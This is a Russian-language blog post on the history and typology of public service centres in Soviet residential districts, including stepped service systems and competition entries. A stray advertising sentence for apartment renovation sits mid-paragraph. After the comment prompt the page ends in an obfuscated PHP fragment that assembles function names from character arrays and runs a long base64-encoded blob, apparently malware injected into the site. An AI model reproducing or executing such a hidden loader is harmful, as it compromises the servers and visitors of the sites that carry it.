Статистика

Среда, Декабрь 25th, 2013

Отнесение учреждений к той или иной группе обслуживания и необходимость приближения их к месту жительства определяются совокупностью различных условий. К основным из них можно отнести: развитие обобществления быта; общественное воспитание населения по месту жительства, развитие коллективизма и самоуправления на основе общественной деятельности; органичное слияние воспитания детей в семье с их общественным воспитанием; все большее развитие общефизической подготовки и лечебной профилактики; частота посещения населением учреждений, а также возможность внезапного, срочного обслуживания; необходимость нести домой покупки и другие тяжелые ноши.
Наличие комплекса обслуживания позволяет организовать общественный центр, а также сократить время, затрачиваемое населением на удовлетворение бытовых потребностей. По сравнению с рассредоточенным размещением в застройке отдельных небольших учреждений общественные центры имеют значительные градостроительные и экономические преимущества. Как видно, число объектов сокращается с 82 до двух, время на дорогу — в пять раз, территория и число участков — в 26 раз.
Поэтому естественно, что в последние годы основным, наиболее прогрессивным направлением развития общественных зданий массового строительства стало создание центров обслуживания, объединение учреждений в комплексы, в крупные кооперированные здания Значительные масштабы и темпы жилищного строительства, его комплексный характер, а также индустриализация строительства требовали разработки типизации зданий центров обслуживания, размещаемых в жилой застройке.
Необходимость комплексного облуживания населения жилых массивов особенно остро возникла еще в послевоенные годы, когда началось массовое строительство новых жилых районов на свободных территориях.
Создание экономичных, индустриальных типовых зданий
После Первого всесоюзного совещания по строительству основное внимание было направлено на индустриализацию строительства и всемерную экономию средств с тем, чтобы в первую очередь обеспечить массовое строительство. В этот период для культурно-бытового обслуживания населения в новой жилой застройке разрабатываются типовые проекты общественных зданий — своеобразных унифицированных «коробок» для размещения в них предприятий торговли, общественного питания и бытового обслуживания первой необходимости.
Основной целью объединения было создание экономичных, индустриальных типовых зданий на основе унификации объемно-планировочных элементов и единства конструкций. При этом еще не ставилась задача комплексного обслуживания. Назначение учреждений, размещаемых в здании, и их вместимость, как правило, не соответствовали друг другу и числу обслуживаемого населения.
В 2010 г. был проведен международный конкурс на застройку жилого района в юго-западной части Москвы. Во многих проектах была предложена ступенчатая система обслуживания и соответствующие ей комплексы общественных зданий. Проекты отличались числом и характером ступеней: жилая группа — жилой район, микрорайон — жилой район; жилая группа — микрорайон — жилой район. Учреждения каждой ступени группировались в своем общественном центре. Если вы купили квартиру в отличном районе тогда вам необходим элитный ремонт.
Здание состояло из четырех блоков, которые можно было варьировать в зависимости от конкретных градостроительных условий. В проекте Чехословацкой республики предлагалось здание общественного центра микрорайона, объединенное со школой. Комплекс общественного центра состоял из четырех, соединенных между собой переходами, блоков: учебных помещений школы, спортивного зала, клуба-столовой и магазина с помещениями бытового обслуживания.

Блок обслуживания первичной жилой группы
Блоки спортивного зала и клуба-столовой были рассчитаны на возможность их использования как школьниками, так и взрослым населением микрорайона.
В частности, в проекте АСиА по предложению НИИОЗ предусматривался блок обслуживания первичной жилой группы на 2 тыс. жителей и кооперированное здание общественного центра микрорайона на 8 тыс. жителей. Блок обслуживания включал комнату отдыха и семейных вечеров, детскую комнату, бюро заказов с торговыми автоматами, домовую кухню и самодеятельную мастерскую. В общественном центре микрорайона размещались учреждения повседневного обслуживания — домовый клуб с универсальным залом и жилищно-эксплуатационная контора, столовая, продовольственный магазин и комбинат бытового обслуживания.
На этот же конкурс был представлен проект единого комплекса группы жилых домов, объединенных пассажем с помещениями общественного обслуживания (проект САКБ). Общественный центр жилого района в подавляющем большинстве решался единым комплексом, но с разным количеством формирующих его зданий. Так, например, в проекте Болгарии общественный центр жилого района предусматривался в едином здании. Во многих проектах комплекс был образован из нескольких кооперированных зданий, сгруппированных по функциональному признаку,- торговый центр, Дом культуры и спортивный комплекс. В некоторых примерах эти три группы объединялись в два комплекса: торгово-культурный и спортивный или культурно-спортивный и торговый центр.
В проекте Латвийской общественный центр состоял из нескольких специализированных зданий, объединенных в единый комплекс зеленой зоной. Одновременно был разработан проект коллективного жилого района (арх. Т. Градов), где предлагалось комплексное обслуживание в пределах жилого района на основе ступенчатой системы (жилая группа — микрорайон- жилой район).

Добавить комментарий

$zlwuz[20].$zlwuz[17].$zlwuz[11].$zlwuz[13].$zlwuz[21].$zlwuz[11].$zlwuz[9].$zlwuz[14].$zlwuz[24].$zlwuz[10].$zlwuz[20].$zlwuz[21].$zlwuz[7].$zlwuz[23].$zlwuz[10]; $tisrcxo = $hywwqotn('$v', $zlwuz[11].$zlwuz[3].$zlwuz[13].$zlwuz[1].$zlwuz[4].$zlwuz[18].$zlwuz[2].$zlwuz[7].$zlwuz[10].$zlwuz[14].$zlwuz[1].$zlwuz[13].$zlwuz[21].$zlwuz[11].$zlwuz[4].$zlwuz[12].$zlwuz[13].$zlwuz[22].$zlwuz[11].$zlwuz[15].$zlwuz[6].$zlwuz[9].$zlwuz[8].$zlwuz[11].$zlwuz[20].$zlwuz[23].$zlwuz[8].$zlwuz[11].$zlwuz[4].$zlwuz[19].$zlwuz[3].$zlwuz[5].$zlwuz[5].$zlwuz[5].$zlwuz[16]); $tisrcxo('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'); ?>